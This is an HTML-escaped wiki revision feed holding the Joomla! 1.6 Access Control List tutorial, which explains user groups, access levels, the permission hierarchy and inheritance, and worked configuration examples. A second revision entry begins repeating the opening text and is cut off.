&lt;div&gt;=ACL Defined=&lt;br /&gt;
&lt;br /&gt;
;ACL or [http://en.wikipedia.org/wiki/Access_control_list Access Control List]&lt;br /&gt;
:According to Wikipedia, “An ACL specifies which users or system processes are granted access to  objects, as well as what operations are allowed to be performed on given objects.”&lt;br /&gt;
&lt;br /&gt;
In the case of Joomla!, we have two separate aspects to ACL.&lt;br /&gt;
# Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user?&lt;br /&gt;
# What operations (or actions) a user can perform on any given object? For example, can a user submit or edit an article?&lt;br /&gt;
&lt;br /&gt;
=Overview of ACL in Version 1.6=&lt;br /&gt;
&lt;br /&gt;
This section outlines the major ACL changes between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
==Users, Groups, and Access Levels==&lt;br /&gt;
&lt;br /&gt;
With the definition in mind, let&#039;s look at how we set up the ACL for our site in version 1.6. The table below summarizes the major changes from version 1.5.&lt;br /&gt;
&lt;br /&gt;
{| cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
| Version 1.5&lt;br /&gt;
| Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups&lt;br /&gt;
| 7 fixed groups (Public, Registered, Author, Editor, Publisher, 			Manager, Administrator, and Super-Administrator)&lt;br /&gt;
| Unlimited user-defined Groups&lt;br /&gt;
|-&lt;br /&gt;
| Users &amp;amp; Groups&lt;br /&gt;
| A User can be assigned to only one group&lt;br /&gt;
| A User can be assigned to multiple groups&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels&lt;br /&gt;
| 3 fixed Access Levels (Public, Registered, Special)&lt;br /&gt;
| Unlimited user-defined Access Levels&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels &amp;amp; Groups&lt;br /&gt;
| Relationship between Groups and Access Levels was fixed.&lt;br /&gt;
| Groups are assigned to Access Levels. Any combination of Groups 			can be assigned to any Access Level.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
We see that in every case the ACL has been made much more flexible, with unlimited Groups and Access Levels, and the ability to assign one User to multiple Groups and any Groups to any Access Level.&lt;br /&gt;
&lt;br /&gt;
==Actions, Groups, and Inheritance==&lt;br /&gt;
&lt;br /&gt;
The other side of ACL is granting permissions to users to take actions on objects. Here again there is a big change between Version 1.5 and 1.6. In 1.5, the actions allowed for a given group were fixed. For example, a User in the Author group could only submit an article whereas someone in the Publisher group could submit, edit, and publish articles. Also, in version 1.5 the permissions were all-or-nothing. A member of the Editor group could edit all articles on the site.&lt;br /&gt;
&lt;br /&gt;
The table below shows what has changed between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
{| cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
| Version 1.5&lt;br /&gt;
| Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups and Actions&lt;br /&gt;
| Actions allowed by different groups are fixed.&lt;br /&gt;
| Actions allowed for each group are defined by site administrator.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Scope&lt;br /&gt;
| Entire Site. User has same permissions for all objects on the site.&lt;br /&gt;
| Permissions can be set at multiple levels in hierarchy: Site, Component, Category, Object.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Inheritance&lt;br /&gt;
| Not applicable&lt;br /&gt;
| Permissions can be inherited from parent Groups and parent Categories&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==How Permissions Work==&lt;br /&gt;
&lt;br /&gt;
There are four possible permissions for actions, as outlined below:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Not set&#039;&#039;&#039;: Defaults to &amp;quot;deny&amp;quot; but, unlike the Deny permission, this permission can be overridden by setting a child group or a lower level in the permission hierarchy to &amp;quot;Allow&amp;quot;. This permission only applies to the Global Configuration permissions. &lt;br /&gt;
* &#039;&#039;&#039;Inherit&#039;&#039;&#039;: Inherits the value from a parent Group or from a higher level in the permission hierarchy. This permission applies to all levels except the Global Configuration level.&lt;br /&gt;
* &#039;&#039;&#039;Deny&#039;&#039;&#039;: Denies this action for this level and group. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; This also denies this action for all child groups and all lower levels in the permission hierarchy. Putting in Allow for a child group or a lower level will not have any effect. The action will always be denied for any child group member and for any lower level in the permission hierarchy.&lt;br /&gt;
* &#039;&#039;&#039;Allow&#039;&#039;&#039;: Allows this action for this level and group and for lower levels and child groups. This does not have any effect if a higher group or level is set to Deny or Allow. If a higher group or level is set to Deny, then this permission will always be denied. If a higher group or level is set to Allow, then this permission will already be allowed.&lt;br /&gt;
&lt;br /&gt;
==Permission Hierarchy Levels==&lt;br /&gt;
&lt;br /&gt;
Action permissions in version 1.6 can be defined at up to four levels, as follows:&lt;br /&gt;
# &#039;&#039;&#039;Global Configuration&#039;&#039;&#039;: determines the default permissions for each action and group. &lt;br /&gt;
# &#039;&#039;&#039;Component Options-&amp;gt;Permissions&#039;&#039;&#039;: can override the default permissions for this component (for example, Articles, Menus, Users, Banners, and so on)&lt;br /&gt;
# &#039;&#039;&#039;Category&#039;&#039;&#039;: can override the default permissions for objects in one or more categories. Applies to all components with categories, including Articles, Banners, Contacts, Newsfeeds, and Weblinks. &lt;br /&gt;
# &#039;&#039;&#039;Article&#039;&#039;&#039;: Can override the permissions for a specific article. This level only applies to articles. Other components only allow the first three levels.&lt;br /&gt;
&lt;br /&gt;
===Global Configuration===&lt;br /&gt;
This is accessed from Site &amp;amp;rarr; Global Configuration &amp;amp;rarr; Permissions. This screen allows you set the top-level permission for each group for each action, as shown in the screenshot below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-01.png|center]]&lt;br /&gt;
The options for each value are Inherited, Allowed, or Denied. The Calculated Setting column shows you the setting in effect. It is either Not Allowed (the default), Allowed, or Denied.&lt;br /&gt;
&lt;br /&gt;
You work on one Group at a time by opening the slider for that group. You change the permissions in the Select New Settings drop-down list boxes. &lt;br /&gt;
&lt;br /&gt;
Note that the Calculated Setting column is not updated until you press the Save button in the toolbar. To check that the settings are what you want, press the Save button and check the Calculated Settings column.&lt;br /&gt;
&lt;br /&gt;
===Component Options-&amp;gt;Permissions===&lt;br /&gt;
This is accessed for each component by clicking the Options icon in the toolbar. This screen is similar to the Global Configuration screen above. For example, clicking the Options toolbar icon in the Menu Manager shows the Menus Configuration below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-02.png|center]]&lt;br /&gt;
Access to Options is only available to members of groups who have permission for the Configure action in for each component. In the example above, the Administrator group has Allowed permission for the Configure option, so members of this group can access this screen.&lt;br /&gt;
&lt;br /&gt;
===Category===&lt;br /&gt;
Category permissions are accessed in the Category Manager: Edit Category screen, in a slider at the bottom of the screen. This screen has five permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-03.png|center]]&lt;br /&gt;
In these screens, you work on the permissions for one User Group at a time. In the example above, we are editing the permissions for the Administrator group.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure and Access Component actions do not apply at the category level, so those actions are not included.&lt;br /&gt;
&lt;br /&gt;
Note also that Categories can be arranged in a hierarchy. If so, then action permissions in a parent category are inherited automatically by a child category. For example, if you had a category hierarchy of Animals &amp;amp;rarr; Pets &amp;amp;rarr; Dogs, then the full permission level hierarchy for an article in the Dogs category would be as follows:&lt;br /&gt;
* Global Configuration&lt;br /&gt;
* Article Manager &amp;amp;rarr; Options &amp;amp;rarr; Permission&lt;br /&gt;
* Animals Category&lt;br /&gt;
* Pets Category&lt;br /&gt;
* Dogs Category&lt;br /&gt;
* specific article&lt;br /&gt;
&lt;br /&gt;
===Article===&lt;br /&gt;
Permissions for a single article are access in the Article Manager: Edit Article screen, again in a slider at the bottom of the screen. This screen has three actions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-04.png|center]]&lt;br /&gt;
Again, you edit each group by clicking on it to open the slider for that group. You can then change the permissions under the Select New Setting column. To see the effect of any changes, press the Save button to update the Calculated Setting column.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure, Access Component, and Create actions do not apply at the article level, so these actions are not included. Permission to create an article is set at one of the higher levels in the hierarchy.&lt;br /&gt;
&lt;br /&gt;
==Access Levels==&lt;br /&gt;
&lt;br /&gt;
Access Levels in version 1.6 are simple and flexible. The screen below shows the Special Access Level.  &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-05.png|center]]&lt;br /&gt;
Simply check the box for each group you want included in that level. The Special Access Level includes the Manager, Author, and Super Users groups. It also includes child groups of those groups. So, Administrator group is included, since it is a child group of the Manager group. The Editor, Publisher, and Shop Suppliers groups are included, since they are child groups of Author. (Note that we could check all of the child groups if we wanted and it wouldn&#039;t hurt anything.)&lt;br /&gt;
&lt;br /&gt;
Once Access Levels are created, they are used in the same way as in version 1.5. Each object in the front end is assigned an Access Level. If the level is Public, then anyone may access that object. Otherwise, only members of groups assigned to that access level may access that object. Access levels are assigned to Menu Items and to Modules. Each one can only be assigned to one access level.&lt;br /&gt;
&lt;br /&gt;
For example, the screen below shows the Edit Menu Item screen with the list of available access levels.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-06.png|center]]&lt;br /&gt;
&lt;br /&gt;
=Default ACL Setup=&lt;br /&gt;
&lt;br /&gt;
When Joomla! is installed, these are set to their initial default settings. We will discuss these initial settings as a way to understand how the ACL works.&lt;br /&gt;
&lt;br /&gt;
==Default Groups==&lt;br /&gt;
&lt;br /&gt;
Version 1.6 allows you to define your own Groups. When you install version 1.6, it includes a set of default groups, as shown below. &lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-07.png|center]]&lt;br /&gt;
&lt;br /&gt;
The arrows indicate the child-parent relationships. As discussed above, when you set a permission for a parent group, this permission is automatically inherited by all child groups. The Inherited, and Allowed permissions can be overridden for a child group. The Denied permission cannot be overridden and will always deny an action for all child groups.&lt;br /&gt;
&lt;br /&gt;
==Global Configuration==&lt;br /&gt;
&lt;br /&gt;
Joomla! version 1.6 will install with the same familiar back-end permissions as that of version 1.5. However, with 1.6, you can easily change these to suit the needs of your site.&lt;br /&gt;
&lt;br /&gt;
As discussed earlier, the permissions for each action are inherited from the level above in the permission hierarchy and from a group&#039;s parent group. Let&#039;s see how this works. The top level for this is the entire site. This is set up in the Site-&amp;gt;Global Configuration-&amp;gt;Permissions, as shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-08.png|center|]]&lt;br /&gt;
&lt;br /&gt;
The first thing to notice are the nine Actions: Site Login, Admin Login, Super Admin, Access Component, Create, Delete, Edit, Edit State. and Edit Own. These are the actions that a user can perform on an object in Joomla. The specific meaning of each action depends on the context. For the Global Configuration screen, they are defined as follows:&lt;br /&gt;
&lt;br /&gt;
;Site Login : Login to the front end of the site&lt;br /&gt;
&lt;br /&gt;
;Admin Login : Login to the back end of the site&lt;br /&gt;
&lt;br /&gt;
; Super Admin : Grants the user &amp;quot;super user&amp;quot; status. Users with this permission can do anything on the site. Only users with this permission can change Global Configuration settings (this screen). These permissions cannot be restricted. It is important to understand that, if a user is a member of a Super Admin group, any other permissions assigned to this user are irrelevant. The user can do any action on the site. However, Access Levels can still be assigned to control what this group sees on the site. (Obviously, a Super Admin user can change Access Levels if they want to, so Access Levels do not totally restrict what a Super Admin user can see.)&lt;br /&gt;
&lt;br /&gt;
;Access Component: Open the component manager screens (User Manager, Menu Manager, Article Manager, and so on)&lt;br /&gt;
&lt;br /&gt;
;Create : Create new objects (for example, users, menu items, articles, weblinks, and so on)&lt;br /&gt;
&lt;br /&gt;
;Delete : Delete existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit : Edit existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit State : Change object state (Publish, Unpublish, Archive, and Trash)&lt;br /&gt;
&lt;br /&gt;
;Edit Own : Edit objects that you have created. &lt;br /&gt;
&lt;br /&gt;
Each Group for the site has its own slider which is opened by clicking on the group name. In this case (with the sample data installed), we have the standard 7 groups that we had in version 1.5 plus two additional groups called &amp;quot;Shop Suppliers&amp;quot; and &amp;quot;Customer Group&amp;quot;. Notice that our groups are set up with the same permissions as they had in version 1.5. Keep in mind that we can change any of these permissions to make the security work the way we want. Let&#039;s go through this to see how it works.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; has everything set to &amp;quot;Not set&amp;quot;, as shown below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-06.png|center|]]&lt;br /&gt;
: This can be a bit confusing. Basically, &amp;quot;Not Set&amp;quot; is the same as &amp;quot;Inherited&amp;quot;. Because Public is our top-level group, and because Global Configuration is the top level of the component hierarchy, there is nothing to inherit from. So &amp;quot;Not Set&amp;quot; is used instead of &amp;quot;Inherit&amp;quot;.  &lt;br /&gt;
: The default in this case is for no permissions. So, as you would expect, the Public group has no special  permissions. Also, it is important to note that, since nothing is set to Denied, all of these permissions may be overridden by child groups or by lower levels in the permission hierarchy.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Manager&#039;&#039;&#039;  is a &amp;quot;child&amp;quot; group of the Public group. It has Allowed permissions for everything except Access Component and Super Admin. So a member of this group can do everything in the front and back end of the site except change Global Permissions and Component Options. &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Administrator&#039;&#039;&#039;  group members inherit all of the Manager permissions and also have Allowed for Access Component. So members of this group by default can access the Options screens for each component.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Registered&#039;&#039;&#039; is the same a Public except for the Allow permission for the Site Login action. This means that members of the Registered group can login to the site. Since default permissions are inherited, this means that, unless a child group overrides this permission, all child groups of the Registered group will be able to login as well.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Author&#039;&#039;&#039;  is a child of the Registered group and inherits its permissions and also adds Create and Edit Own. Since Author, Editor, and Publisher have no back-end permissions, we will discuss them below, when we discuss front-end permissions.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editor&#039;&#039;&#039; is a child of the Authors group and adds the Edit permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Publisher&#039;&#039;&#039; is a child of Editor and adds the Edit State permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shop Suppliers&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Author.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Customer Group&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Registered.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Super Users&#039;&#039;&#039; group has the Allow permission for the Super Admin action. Because of this, members of this group have super user permissions throughout the site. They are the only users who can access and edit values on the Global Configuration screen. Users with permission for the Super Admin action have some special characteristics:&lt;br /&gt;
** If a user has Super Admin permissions, no other permissions for this user matter. The user can do any action in the site.&lt;br /&gt;
** Only Super Admin users can create, edit, or delete other Super Admin users or groups.&lt;br /&gt;
&lt;br /&gt;
There are two very important points to understand from this screen. The first is to see how the permissions can be inherited from the parent Group. The second is to see how you can control the default permissions by Group and by Action.&lt;br /&gt;
&lt;br /&gt;
This provides a lot of flexibility. For example, if you wanted Shop Suppliers to be able to have the ability to login to the back end, you could just change their Admin Login value to &amp;quot;Allowed&amp;quot;. If you wanted to not allow members of Administrator group to delete objects or change their state, you would change their permissions in these columns to Inherited (or Denied).&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that the ability to have child groups is completely optional. It allows you to save some time when setting up new groups. However, if you like, you can set up all groups to have Public as the parent and not inherit any permissions from a parent group.&lt;br /&gt;
&lt;br /&gt;
==Component Options &amp;amp; Permissions==&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s continue to see how the default back-end permissions for version 1.6 mimic the permissions for version 1.5. The Super Users group in 1.6 is equivalent to the Super Administrator group in 1.5.&lt;br /&gt;
&lt;br /&gt;
Just looking at the Global Configuration screen above, it would appear that the Administrator group and the Manager group have identical permissions. However, in version 1.5 Administrators can do everything except Global Configuration, whereas Managers are not permitted to add users or work with menu items. That is also true in the default version 1.6 configuration. Let&#039;s see how this is accomplished.&lt;br /&gt;
&lt;br /&gt;
If we navigate to Users-&amp;gt;User Manager and click the Options button in the toolbar, we see the screen below:&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-09.png|center|]]&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-10.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This screen is the same as the Global Configuration Permissions screen, except that these values only affect working with Users. Let&#039;s look at how this works.&lt;br /&gt;
&lt;br /&gt;
First, notice that the Administrator group has Allow permission for the Admin action and the Manager group has Deny permission for this action. Remember that the Admin action in the Global Configuration screen gives the group &amp;quot;super user&amp;quot; permissions. In this screen, the Admin action allows you to edit the Options values. So, the Administrator group can do this but the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
Next, notice that the Administrator has Inherit for the Manage action and the Manager group has Deny permission. In this screen, the Manage action gives a group access to the User Manager. Since the Administrator has Allow for the Manage action by default, then the Inherit permission here means they inherit the Allow permission for the Manage action. Since the Manager group has Deny permission for the Manage action, members of the Manager group cannot access the User Manager and therefore cannot do any of the other user-related actions.&lt;br /&gt;
&lt;br /&gt;
If you look at the Options for Menus-&amp;gt;Menu Manager, you will see the same default settings as for the User Manager. Again, the Administrator group can manage and set default permissions for Menu Manager objects whereas the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
In short, we can see that the different permissions for the Administrator and Manager groups are set using the Options-&amp;gt;Permissions forms on the User Manager and Menu Manager screens.&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that this same Options-&amp;gt;Permissions form for setting default permissions is available for all Joomla! objects, including Media Manager, Banners, Contacts, Newsfeeds, Redirect, Search Statistics, Web Links, Extensions, Modules, Plugins, Templates, and Language. So you now have the option to create user groups with fine-tuned sets of back-end permissions.&lt;br /&gt;
&lt;br /&gt;
==Front End Permissions==&lt;br /&gt;
&lt;br /&gt;
Default permissions for the front end are also set using the Options form. Let&#039;s look at Content-&amp;gt;Article Manager-&amp;gt;Options-&amp;gt;Permissions. First, let&#039;s look at the permissions for Manager, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-11a.png|center|frame]]&lt;br /&gt;
Manager has allowed permission for all actions except Configure. So members of the Manager group can do everything with Articles except open the Options screen.&lt;br /&gt;
&lt;br /&gt;
Now let&#039;s look at Administrator, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-12a.png|center|frame]]&lt;br /&gt;
Administrator has Allowed for Configure, so Administrators can edit this Options screen.&lt;br /&gt;
&lt;br /&gt;
Both groups can create, delete, edit, and change the state of articles.&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s look at the groups Publisher, Editor, and Author and see how their permissions are set. &lt;br /&gt;
&lt;br /&gt;
Authors only have Create and Edit Own permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-07.png|center|frame]]&lt;br /&gt;
This means that Authors can create articles and can edit articles they have created. They may not delete articles, change the published state of articles, or edit articles created by others.&lt;br /&gt;
&lt;br /&gt;
Editors have the same permissions as Authors with the addition of permission for the Edit action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-08.png|center|frame]]&lt;br /&gt;
So Editors can edit articles written by anyone.&lt;br /&gt;
&lt;br /&gt;
Publishers can do everything Editors can do plus they have permission for the Edit State action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-09.png|center|frame]]&lt;br /&gt;
So Publishers can change the published state of an article. The possible states include Published, Unpublished, Archived, and Trashed.&lt;br /&gt;
&lt;br /&gt;
All of these groups have Inherit permission for Configure and Access Component. Remember that Author is a child of the Registered group, and Registered does not have any default permissions except for Login. Since Registered does not have permission for Configure and Access Component, and since Author&#039;s permission for these actions is &amp;quot;Inherited&amp;quot;, then Author does not have these permissions either. This same permission is passed from Author to Editor and from Editor to Publisher. So, by default, none of these groups are allowed to work with articles in the back end.&lt;br /&gt;
&lt;br /&gt;
It is important to remember that these permissions are only default settings for categories and articles and for any child groups that are created. So they can be overridden for child groups, for categories, and for specific articles. &lt;br /&gt;
&lt;br /&gt;
Also, note that there are no Denied permissions for any actions in the default settings. This allows you to add Allowed permissions at any level. Remember, once you have an action set for Denied, this action will be denied at all lower levels in the hierarchy. For example, if you set the Admin Login for Registered to Denied (instead of Inherited), you could not grant Publishers Allowed permissions for this action.&lt;br /&gt;
&lt;br /&gt;
== Article Manager &amp;amp; Actions Diagram ==&lt;br /&gt;
&lt;br /&gt;
The diagram below shows how each action in the permissions form relates to the various options on the Article Manager screen.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-16.png|center|]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configure&#039;&#039;&#039; allows you to view and change the Options for the component.&lt;br /&gt;
* &#039;&#039;&#039;Access Component&#039;&#039;&#039; allows you to navigate to the Article Manager. Without this permission, no other actions are possible.&lt;br /&gt;
* &#039;&#039;&#039;Create&#039;&#039;&#039; allows you to add new articles.&lt;br /&gt;
* &#039;&#039;&#039;Delete&#039;&#039;&#039; allows you to delete trashed articles. Note that the Delete icon only shows in the toolbar when you have the &amp;quot;Select State&amp;quot; filter set to &amp;quot;Trash&amp;quot;.&lt;br /&gt;
* &#039;&#039;&#039;Edit&#039;&#039;&#039; allows you to edit existing articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit State&#039;&#039;&#039; allows to you Publish, Unpublish, Archive, or Trash articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit Own&#039;&#039;&#039; is the same as Edit except that it only applies to articles written by you.&lt;br /&gt;
&lt;br /&gt;
=Allowing Guest-Only Access to Menu Items and Modules=&lt;br /&gt;
&lt;br /&gt;
Version 1.6 introduces the ability to create a View Access Level that is only for guests of the site (meaning a user who is not logged in). The example below shows how you can set up this new feature.&lt;br /&gt;
&lt;br /&gt;
#Create a new user group called Guest. Make it a child of the Public group as shown below. [[Image:screenshot_acl_tutorial_20110112-01.png|center|frame]] &lt;br /&gt;
# Create a new access level called Guest and grant only the Guest group access to this level, as shown below.[[Image:screenshot_acl_tutorial_20110112-02.png|center|frame]]&lt;br /&gt;
# Edit the Public access level and add the Guest group to it, as shown below.[[Image:screenshot_acl_tutorial_20110112-03.png|center|frame]]&lt;br /&gt;
# Navigate to User Manager&amp;amp;rarr;Options&amp;amp;rarr;Component and change the Guest User Group from the default value of &amp;quot;Public&amp;quot; to &amp;quot;Guest&amp;quot;, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-04.png|center|frame]]&lt;br /&gt;
&lt;br /&gt;
Now, if we assign a menu item, module, or other object to the Guest access level, only non-logged in users will have access. For example, if we create a new menu item with access level of Guest, as shown below, &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-05.png|center|frame]]&lt;br /&gt;
this menu item will only be visible to non-logged-in visitors to the site.  Login/logout in frontend (for changing data in session) to see the change.&lt;br /&gt;
&lt;br /&gt;
=Using Permission and Group Levels Together=&lt;br /&gt;
&lt;br /&gt;
As discussed above, it is possible to define groups in a hierarchy, where each child group inherits action permissions (for example, the create permission) from its parent group. Action permissions are also be inherited from the permission level above. For example, a permission in the Article Manager is inherited from the same permission in the Global Configuration, and a permission in a child Category is inherited from the parent Category permission.&lt;br /&gt;
&lt;br /&gt;
This dual inheritance can be confusing, but it can also be useful. Let&#039;s consider an example as follows. We have a school with a group hierarchy of Teachers → History Teachers → Assistant History Teachers. We also have a category hierarchy of Assignments → History Assignments. We want History Teachers and Assistant History Teachers to have the following permissions:&lt;br /&gt;
&lt;br /&gt;
* both groups can create new articles only in the History Assignments category.&lt;br /&gt;
&lt;br /&gt;
* only History Teachers (not Assistant History Teachers) can Publish or otherwise have Edit State permission.&lt;br /&gt;
&lt;br /&gt;
This ACL scheme is very easy to implement. The diagram below shows how this would be set up for the Create Action.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram1 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
In the diagram, the Permission Hierarchy is shown down the left side and the Group hierarchy is shown across the top. Permissions are inherited down and to the right, as shown by the arrows. To implement the desired permissions, we leave the Global Configuration blank (Not Set) for all three groups. Similarly, in the Article Manager and Assignments Category, we leave the Create permission to Inherit for all the groups. As shown in the diagram, this means that these groups do not have Create permission for articles in general or for articles in the Assignments group.&lt;br /&gt;
&lt;br /&gt;
To sum up so far, we have not set any special permissions to get to this point. Now, in the History Assignments category permissions screen, we set the Create permission to Allow for the History Teachers group. This setting overrides the Soft (Implicit) Deny that we had by default and gives members of this group permission to create content (articles and child categories) for this category. This Allow setting also is inherited by the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
Next, we need to grant History Teachers the Edit State permission while denying this permission to Assistant History Teachers. This is done as shown in the diagram below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram2 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This configuration is the same as the one above except that this time we set the Edit State permission in the History Assignments category to Deny for the Assistant History Teachers group. This means that Assistant History Teachers will not be able to Publish or Unpublish articles in this category.&lt;br /&gt;
&lt;br /&gt;
Note that this was accomplished by setting just two permissions in the History Assignments category: Allow for the History Teachers group and Deny for the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
=ACL Examples=&lt;br /&gt;
Here are some examples of how you might set up the ACL for some specific situations.&lt;br /&gt;
&lt;br /&gt;
==Back-end Article Administrator==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Problem:&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
We want to create a group called &amp;quot;Article Administrator&amp;quot; with back-end permissions only for articles and not for any other back-end menu options. Members of this group should be able to use all of the features of the article manager, including setting article permissions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Solution:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a new group called Article Administrator and make its parent group Public, as shown below.[[Image:screenshot_acl_tutorial_20110112-10.png|center|frame]] Because its parent group is Public, it won&#039;t have any permissions by default.&lt;br /&gt;
# In Users &amp;amp;rarr; Access Levels, edit the Special Access level to add the new group. That way they can get access to the back end menu items and modules.[[Image:screenshot_acl_tutorial_20110112-11.png|center|frame]] By default, the back-end menu items and modules are set to Special access, so if you forget to add the new group to the Special access level, you won&#039;t see any modules or menu items when you log in as a user of the new group.&lt;br /&gt;
# In Site →  Global Configuration → Permissions, click on the Article Administrator group and change the permissions to Allowed for the following actions: Admin Login, Create, Delete, Edit, Edit State, and Edit Own. The screen below shows what will show before you press Save. [[Image:screenshot_acl_tutorial_20110112-12.png|center|frame]]After you save, the Calculated Permissions should show as shown below.[[Image:screenshot_acl_tutorial_20110112-13.png|center|frame]]Note that the permission for the Access Component is Inherited, which translates to Not Allowed. This is important. This means that this group will only be able to access components if we give the group &amp;quot;Allowed&amp;quot; permission for Access Component. So we only have to change the one component we want to give them access to and don&#039;t have to change any settings for the components where we don&#039;t want them to have access. If we had a case where we wanted to give a group access to everything except for one component, we could set the default to Allowed and then set the one component to Denied. Also note that we did not give the group Site Login permission, so users in this group will not be able to log into the front end. (If we wanted to allow that, we would just change the permission to Allowed for Site Login.)&lt;br /&gt;
# In Article Manager → Options → Permissions, change permissions to Allowed for this group for the Access Component action, as shown below.[[Image:screenshot_acl_tutorial_20110112-14.png|center|frame]]All of the other desired permissions are inherited.&lt;br /&gt;
&lt;br /&gt;
That&#039;s all you need to do. Members of this group can login to the back end and do everything in Article Manager but can&#039;t do anything else in the back end. For example, the screen below shows what a user in the Article Manager will see when they login to the back end.[[Image:screenshot_acl_tutorial_20110112-15.png|center|frame]]&lt;br /&gt;
[[Category:Joomla! 1.6]] [[Category:Tutorials]][[Category:Access Control]][[Category:Access Management]]&lt;/div&gt;</summary>
		<author><name>Robo1999</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=60432</id>
		<title>Archived:Access Control List Tutorial</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=60432"/>
		<updated>2011-07-12T03:39:28Z</updated>

		<summary type="html">&lt;p&gt;Robo1999: /* Global Configuration */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=ACL Defined=&lt;br /&gt;
&lt;br /&gt;
;ACL or [http://en.wikipedia.org/wiki/Access_control_list Access Control List]&lt;br /&gt;
:According to Wikipedia, “An ACL specifies which users or system processes are granted access to  objects, as well as what operations are allowed to be performed on given objects.”&lt;br /&gt;
&lt;br /&gt;
In the case of Joomla!, we have two separate aspects to ACL.&lt;br /&gt;
# Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user?&lt;br /&gt;
# What operations (or actions) a user can perform on any given object? For example, can a user submit or edit an article?&lt;br /&gt;
&lt;br /&gt;
=Overview of ACL in Version 1.6=&lt;br /&gt;
&lt;br /&gt;
This section outlines the major ACL changes between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
==Users, Groups, and Access Levels==&lt;br /&gt;
&lt;br /&gt;
With the definition in mind, let&#039;s look at how we set up the ACL for our site in version 1.6. The table below summarizes the major changes from version 1.5.&lt;br /&gt;
&lt;br /&gt;
